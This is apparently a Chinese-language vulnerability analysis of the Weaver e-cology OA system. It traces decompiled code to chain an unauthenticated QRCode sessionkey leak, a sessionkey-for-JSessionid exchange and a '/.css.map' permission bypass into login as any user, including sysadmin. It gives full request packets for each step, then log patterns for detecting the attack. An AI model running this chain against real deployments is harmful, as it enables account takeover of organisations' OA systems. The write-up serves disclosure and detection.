分析 这个洞有2020/2021年数字那边挖的洞的影子
获取sessionkey
mobilemode/public.jsp
分析 这个洞有2020/2021年数字那边挖的洞的影子
获取sessionkey
mobilemode/public.jsp
该文件无需权限即可访问,阅读代码构造相应参数后即可获取sessionkey
String userid; String url; String from = Util.null2String(request.getParameter("from" ));if (from.equals("anonymous" )){ MobileModeConfig mConfig = MobileModeConfig.getInstance(); if (!mConfig.isAnonymousAccessEnabled()){ out.println("anonymous access is not enabled" ); return ; } userid = mConfig.getAnonymousMappingUser(); if ("" .equals(userid)){ out.println("mapping user is empty" ); return ; } url = Util.null2String(request.getParameter("url" )); if ("" .equals(url)){ out.println("url is empty" ); return ; } url = SecurityUtil.decrypt(url); if (url.equals("" ) || !url.startsWith(weaver.general.GCONST.getContextPath() + "/mobilemode/" )){ out.println("illegal url:" + url); return ; } }else if (from.equals("QRCode" )){ url = Util.null2String(request.getParameter("url" )); if ("" .equals(url)){ out.println("url is empty" ); return ; } url = SecurityUtil.decrypt(url);
代码从数据包中获取了from
、url
两个参数,其中url
为QRCode时会进入第二分支调用SecurityUtil.decrypt
方法解密url参数并对;
进行分割,分割后数据的长度应为3
否则抛出异常 跟进SecurityUtil.decrypt
方法 对传入值进行判断是否为空,非空调用EDUtil.decrypt
方法对数据进行处理 跟进decrypt
方法
public static String decrypt (String var0) { MobileModeConfig var1 = MobileModeConfig.getInstance(); EDType var2 = var1.getSecurityEDType(); String var3 = var1.getSecurityKey(); return decrypt(var2, var0, var3); } public static String decrypt (EDType var0, String var1, String var2) { IDecrypt var3 = EDFactory.getDecrypt(var0); return var3.decrypt(var1, var2); }
var1
为本地mobilemode.properties
文件,默认在WEB-INF/prop/mobilemode.properties
下var2
为获取解密方法,默认为AES
,var3
为key
,默认为空(NULL
),字节码为[-66, 27, -34, -64, -86, 116, -76, -36, -80, 121, -108, 62, 112, 82, -128, -106]
,对var2
、var3
赋值后传入EDFactory.getDecrypt
方法,最终进入com.weaver.formmodel.mobile.security.decrypt
方法使用AES-SHA1PRNG
进行数据解密
String[] arr = url.split(";" ); if (arr.length != 3 ){ out.println("illegal url:" + url); return ; } int a1 = Util.getIntValue(arr[0 ], -1 ); int a2 = Util.getIntValue(arr[1 ], -1 ); long a3 = (long )Util.getDoubleValue(arr[2 ], -1 ); if (a1 == -1 || a2 == -1 || a3 == -1 ){ out.println("illegal url:" + url); return ; } userid = String.valueOf(a1); url = weaver.general.GCONST.getContextPath() + "/mobilemode/appHomepageViewWrap.jsp?appHomepageId=" + a2; long timeout = 1000 * 60 * 10 ; if ((a3 + timeout) < System.currentTimeMillis()){ out.println("二维码已过期" ); return ; } }else { out.println("from is empty or unrecognized" ); return ; }
对上一步解密后的数据进行分割处理,a1
为userID,此处可设置为1即sysadmin
,a2
为appid,为任意非空整形值,a3
为毫秒时间戳,用于二维码生成是否失效,但由于代码仅对数值进行判断,可轻松绕过
String ip = MobileCommonUtil.getClientIp(request);AuthService as = new AuthService ();Map result = as.login(userid, "" , ip);String message = (String)result.get("message" );if (!"1" .equals(message)){ out.println("mapping user login failed" ); return ; } String sessionkey = (String)result.get("sessionkey" );url += "&sessionkey=" +sessionkey; request.getRequestDispatcher(url).forward(request, response);
代码使用AuthService
类的login
方法进行登录验证,流程如下
graph TD A[mobilemode/public.jsp] -->|"new AuthService().login"| B(AuthService) B --> C([Func login]) C -->|"putSessionId(var7, var5);"| D[Func putSessionId] D -->|Result sessionkey| A
利用sessionkey换ecology_JSessionid
泛微OA有多套鉴权方法,分别是sessionkey
、ecology_JSessionid
等,其中sessionkey
是部署在filter
层,主要用于mobile
目录鉴权,ecology_JSessionid
是利用session
会话机制进行鉴权,在mobile
目录下的优先级比sessionkey
低,常见鉴权代码如下
weaver.hrm.HrmUserVarify
User var5 = HrmUserVarify.getUser(var1, var2);boolean var6 = this .checkUserRight(var5);
User user = HrmUserVarify.getUser(request, response);if (user==null ) { result.put("error" , "005" ); JSONObject jo = JSONObject.fromObject(result); out.println(jo); return ; }
sessionkey
<jsp:useBean id="ps" class="weaver.mobile.plugin.ecology.service.PluginServiceImpl" scope="page" /> String sessionkey = Util.null2String(request.getParameter("sessionkey" ));...... result = ps.getCurrUser(sessionkey); ...... result = ps.getUser(id, sessionkey);
<jsp:useBean id="as" class="weaver.mobile.plugin.ecology.service.AuthService" scope="page" /> ...... user = as.getCurrUser(sessionkey);
设置session常见代码为getSession(true).setAttribute("[email protected] ",
那么只需要写个正则即可找到全部可以利用sessionkey获取sessionID的位置了 正则如下AuthService.*(\s.*)*.*setAttribute\("[email protected]
经过分析得知位于包package weaver
下的类/方法可经由urlhttp://domain.com/weaver/weaver.xxx.xxx
形式访问,那么weaver/file/ImgFileDownload
就是一个理想的选择,精简代码如下
public void doGet (HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {...... User var6 = HrmUserVarify.getUser(var1, var2); String var8; String var9; if (null == var6) { AuthService var7 = new AuthService (); var8 = "" ; var9 = var1.getQueryString(); String[] var10 = StringUtils.split(var9, '&' ); if (var10 != null ) { for (int var11 = 0 ; var11 < var10.length; ++var11) { String[] var12 = StringUtils.split(var10[var11], '=' ); if (var12 != null && var12.length >= 2 && "sessionkey" .equals(var12[0 ])) { var8 = var12[1 ]; break ; } } } try { var6 = var7.getCurrUser(var8); } catch (Exception var41) { var41.printStackTrace(); } ...... var1.getSession(true ).setAttribute("[email protected] " , var6); }
一个符合格式的get请求就可以获取到一个有效的ecology_JSessionid
然而实际访问时会出现200状态码但是回显无权限报错http://10.10.10.24/weaver/weaver.file.ImgFileDownload?sessionkey=d42****************62
通过搜索历史漏洞 发现泛微存在一个权限绕过漏洞,URL正好为/weaver/
路径下的,那么整理下目前的信息
有一个文件可以未授权访问
该文件可以返回可用于mobile目录的sessionkey
一个可以用sessionkey
换取ecology_JSessionid
的接口
一个权限绕过漏洞
那么1+2+3+4
的结果为一个前台任意用户登录
理论存在,实践开始
Attack& Detect Pwn! 首先获取sessionkey 数据包
Request POST /mobilemode/public.jsp HTTP/1.1 Host: 10.10.10.24 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 80 from=QRCode&url=ABD**********************B7 Response HTTP/1.1 200 OK Server: WVS X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=8 Content-Type: text/html; charset=UTF-8 Content-Length: 3699 Connection: close Date: Wed, 08 Jun 2022 05:42:49 GMT ...... var _sessionkey = "d******************2"; ......
然后换取ecology_JSessionid
数据包
Request GET /weaver/weaver.file.ImgFileDownload/.css.map?sessionkey=d42**************562 HTTP/1.1 Host: 10.10.10.24 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Response HTTP/1.1 200 OK Server: WVS X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 Cache-Control: private,max-age=86400000 Set-Cookie: ecology_JSessionid=aaa4bmgQ9huR2-z1ob-ey; path=/ Content-Length: 0 Connection: close Date: Wed, 08 Jun 2022 05:42:59 GMT
验证 由于/api/
路径下均需权限校验,因此随意一个接口即可校验ecology_JSessionid
有效性,如/api/hrm/usericon/getUserIcon
替换session后
Detect 泛微日志默认在X:\path\to\WEAVER\Resin\logs
下,access.log中检测项为存在"POST /mobilemode/public.jsp HTTP/1.1" 200
且存在"GET /weaver/weaver.file.ImgFileDownload/.css?sessionkey=d******************62 HTTP/1.1"
即可判定使用了该漏洞
后记 在更进一步的分析中我们使用正则(sessionKey|loginkey).*(\s.*)*.*setAttribute\("[email protected]
找到了一处支持POST方法的接口/weaver/weaver.mobile.plugin.ecology.service.PluginViewServlet
POST /weaver/weaver.mobile.plugin.ecology.service.PluginViewServlet/.css HTTP/1.1 Host: 10.10.10.24 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 47 sessionkey=d42**************************2